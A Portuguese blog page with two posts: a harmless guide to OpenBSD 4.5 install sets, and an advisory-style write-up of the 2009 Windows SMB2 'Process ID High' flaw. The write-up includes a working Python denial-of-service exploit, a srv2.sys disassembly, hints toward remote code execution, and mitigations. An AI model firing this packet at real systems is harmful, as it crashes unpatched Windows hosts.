quarta-feira, 23 de setembro de 2009

Pacotes da instalação do OpenBSD

Na instalação do OpenBSD você seleciona os pacotes que deseja instalar:

Para selecionar os pacotes basta digtar o nome do pacote, por exemplo, para marcar o pacote xbase: xbase45.tgz, e para remover a selecao de um pacote basta colocar um simbolo de - antes do nome do pacote: -xbase45.tgz.


Select sets by entering a set name, a file name pattern or 'all'. De-select
sets by prepending a '-' to the set name, file name pattern or 'all'. Selected
sets are labeled '[x]'.

[X] bsd
[X] bsd.rd
[ ] bsd.mp
[X] base45.tgz
[X] etc45.tgz
[X] misc45.tgz
[X] comp45.tgz
[X] man45.tgz
[X] game45.tgz
[ ] xbase45.tgz
[ ] xetc45.tgz
[ ] xshare45.tgz
[ ] xfont45.tgz
[ ] xserv45.tgz
Set name? (or 'done') [bsd.mp] all



Mas quais pacotes devo selecionar?

    * bsd - Este é o Kernel (NECESSÁRIO)
    * bsd.mp - Kernel para multiprocessamento (Em algumas plataformas)
    * bsd.rd - RAM disk kernel
    * base45.tgz - Contém a base do sistema OpenBSD (NECESSÁRIO)
    * etc45.tgz - Contém todos os arquivos do diretório /etc (NECESSÁRIO)
    * comp45.tgz - Contém compiladores e suas ferramentas (Recomendado)
    * man45.tgz - Contém os manuais (Recomendado)
    * misc45.tgz - Contém informacoes e documentos de instalacao
    * game45.tgz - Contém jogos
    * xbase45.tgz - Contém a base, bibliotecas e utilitários para o X11
    * xetc45.tgz - Contém arquivos de configuracao do /etc/X11 e /etc/fonts
    * xfont45.tgz - Contém as fontes
    * xserv45.tgz - Contém o servidor X
    * xshare45.tgz - Contém os manuais, configurações locais, etc para o X

Caso tenha esquecido de marcar algum pacote durante a instalação, existem 2 maneiras de se fazer:

- Usando o processo de atualização
Inicie o sistema com o CD ou Disquete de boot do OpenBSD e selecione a opção de atualização (Upgrade), selecione os pacotes que faltam e será instalado para você

- Usando tar
Estes arquivos de instalação sao simplesmente arquivos comprimidos pelo tar, tudo que você tem que fazer é descompactar os arquivos:

  # cd /
  # tar xzvphf comp45.tgz

OBS: Não se esqueça da opcao 'p' para preservar as permissões.

Se você estiver instalando o pacote xbase atraves do tar e sem reiniciar o sistema você precisa atualizar a cache das bibliotecas:

  # ldconfig -m /usr/X11R6/lib

Ou simplesmente reinicie o sistem que o script de inicialização rc faz isso para você ;)

terça-feira, 8 de setembro de 2009

Windows Vista, 7 e 2008 Server : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

B.S.O.D. - Blue Screen of Death (Tela Azul da Morte) é uma tela apresentado nos sistemas operacionais Windows em caso de erro grave de sistema.

SMB - Server Message Block funciona como um aplicativo de nível rede, utilizado principalmente para o acesso aos arquivos compartilhados, impressoras, portas seriais, e diversas comunicações entre pontos em uma rede. Ela também fornece um mecanismo de autenticação Inter-Process Communication. A maioria dos usos de SMB envolve computadores que executam os sistemas operacionais Windows em ambientes de rede.

Hoje acordamos com um aviso publicado por Laurent Gaffie onde uma possivel falha nos drivers SMB v2.0 (utilizados nos sistemas Windows Vista, 7 e 2008 Server) poderia causar um B.S.O.D.

A Falha:

Para estabelecer uma comunicação, o cliente envia uma menssagem para o servidor, chamada de NEGOTIATE PROTOCOL REQUEST, esta menssagem é utilizada para identificar o dialeto utilizado para futuras comunicações.
Quando o driver SRV2.SYS recebe uma string mal formada no momento do NPR ele falha, causando um B.S.O.D.

O Código para exploração:

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket

from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Para quem utiliza o Metasploit, também já existe disponivel um módulo para exploração desta falha

Utilizando engenharia reversa, podemos analisar o codigo e ver como a falha acontece - Módulo: Srv2.sys :

Code (asm)
; int __stdcall Smb2ValidateProviderCallback(PVOID DestinationBuffer)
_Smb2ValidateProviderCallback@4 proc near


.text:000156B3 loc_156B3:                              ; CODE XREF: Smb2ValidateProviderCallback(x)+4D5j
.text:000156B3                                         ; Smb2ValidateProviderCallback(x)+4DEj
.text:000156B3                 movzx   eax, word ptr [esi+0Ch]; packet->SBM_Header->Process_ID_High
.text:000156B7                 mov     eax, _ValidateRoutines[eax*4]; FALLO - out-of-bounds dereference.
.text:000156BE                 test    eax, eax
.text:000156C0                 jnz     short loc_156C9
.text:000156C2                 mov     eax, 0C0000002h
.text:000156C7                 jmp     short loc_156CC
.text:000156C9 ; —————————————————————————
.text:000156C9
.text:000156C9 loc_156C9:  ; CODE XREF: Smb2ValidateProviderCallback(x)+4F3j
.text:000156C9                 push    ebx
.text:000156CA                 call    eax ; Smb2ValidateNegotiate(x) ; Smb2ValidateNegotiate(x) - KABOOOM!!
 













Como você pode ver, [esi +0 xc] aponta para o nosso pacote, exatamente para o campo de cabeçalho ProcessIDHigh cujo tamanho é de 16 bits. Podemos controlar inteiramente este valor. Mais tarde, esse valor é usado como índice para um ponteiro de função dentro do _ValidateRoutines tabela de funções. Bug Classico ! o código não está verificando o tamanho da tabela antes da referência ao ponteiro de função. Esta é a razão pela qual esta é uma vulnerabilidade de execução remota de código e não apenas uma negação de serviço. E esta é a razão pela qual, a exploração pode ou não travar a máquina. Se a página apontada pelo índice é inválido o sistema irá BSOD caso contrário ele pode falhar em outro ponto ou simplesmente não a falhar.

Como se proteger:

Ainda não há uma correção disponivel pela Microsoft, portanto, podemos filtrar o acesso ao protocolo TCP na porta 445 com um firewall, ou desabilitar o protocolo SMB2

Sistemas afetados:

Windows Vista, Windows 7 e Windows 2008 Server

Assim que tiver mais detalhes sobre esta falha... atualizarei o post ! :D
OBS: quem conseguir controlar esse ponteiro na hora do estouro da pilha num vai prestar !!! kkk pode apontar para execuçao de qualquer programa na memória, e já que a falha não necessita autenticação... Oo ;)

Referencias:

http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.reversemode.com/index.php?option=com_content&task=view&id=64&Itemid=1
http://blogs.technet.com/askperf/archive/2008/05/30/two-minute-drill-overview-of-smb-2-0.aspx

Imagem do B.S.O.D.:




Updated: [09/10/2009 - 11:10 a.m.]

Microsoft Security Advisory (975497) Vulnerabilities in SMB Could Allow Remote Code Execution
US-CERT - Microsoft Releases Security Advisory 975497